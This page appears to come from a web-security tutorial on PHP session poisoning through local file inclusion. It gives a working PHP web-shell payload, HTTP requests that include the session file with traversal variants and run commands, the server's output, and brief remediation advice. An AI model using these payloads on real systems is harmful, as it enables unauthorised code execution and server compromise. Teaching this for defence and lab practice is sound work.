File Inclusion: LFI, RFI, and the Road to RCE
PHP Session Poisoning to RCE through LFI
Write PHP into your own session file through a stored field, then include it via an LFI to reach code execution when logs and environ are locked down.
Published
Session poisoning is the most reliable LFI-to-RCE route when logs and environ are locked down, because the file you poison is your own session, which you always control and which lives at a predictable path. This page covers getting PHP into the session, finding the file, and including it. Practice on a free live target.
Where PHP stores sessions
When an app calls session_start(), PHP writes a file per session on disk, named sess_<id> where <id> is your PHPSESSID cookie. The directory is set by session.save_path:
/var/lib/php/sessions/sess_<PHPSESSID> common on Debian/Ubuntu
/tmp/sess_<PHPSESSID> when save_path is unset (system temp dir)The file's contents are a serialized dump of $_SESSION. Anything the application stores there from your input lands in the file verbatim, which is the opening.
Step 1: get PHP into your session
Find a field the app writes into $_SESSION: a saved preference, a username echoed back, a cart note, a "remember this" value. Submit a PHP payload as that value:
POST /profile HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=9a1f7c2e4b8d
display_name=<?php system($_GET['c']); ?>HTTP/1.1 302 Found
Location: /profileThe app stored your display_name into $_SESSION, so your session file now contains the PHP payload.
Step 2: include your session file and run a command
Point the inclusion at your own session file and pass the command:
GET /index.php?page=/var/lib/php/sessions/sess_9a1f7c2e4b8d&c=id HTTP/1.1
Host: target.example
Cookie: PHPSESSID=9a1f7c2e4b8dHTTP/1.1 200 OK
Content-Type: text/html
display_name|s:28:"uid=33(www-data) gid=33(www-data) groups=33(www-data)
";The include loaded your session file as PHP. The default session serializer had stored your value as display_name|s:28:"<?php system($_GET['c']); ?>";, so PHP printed the display_name|s:28:" preamble as text, executed the payload in the middle, then printed the closing ";. The serialized noise around the output is expected, your command still ran.
Edge variants
/tmp/sess_9a1f7c2e4b8d the /tmp save path
?page=../../../../var/lib/php/sessions/sess_9a1f7c2e4b8d&c=whoami traversal-prefixedIf you cannot find a field stored in the session, look for values the framework persists automatically (last-visited URL, locale, a flash message), since any of them written from your input is a candidate.
Why this works when logs do not
Logs can be root-only, rotated away, or mangled by their format. Your session file is created for you, lives at a path named after your own cookie, and holds whatever the app stored from your input. When any attacker-influenced value reaches $_SESSION, this is usually the cleanest LFI-to-RCE path on the box.
Fixing it
- Store sessions outside any includable path and mount the session directory non-executable.
- Never place raw user input into
$_SESSIONwithout validation, so a session file cannot hold code. - Allow-list include targets and keep user input out of
include, which closes this along with every sibling technique.
Full guidance is in preventing file inclusion. Next, load a file you host when the config allows it in remote file inclusion, or try session poisoning on a free lab.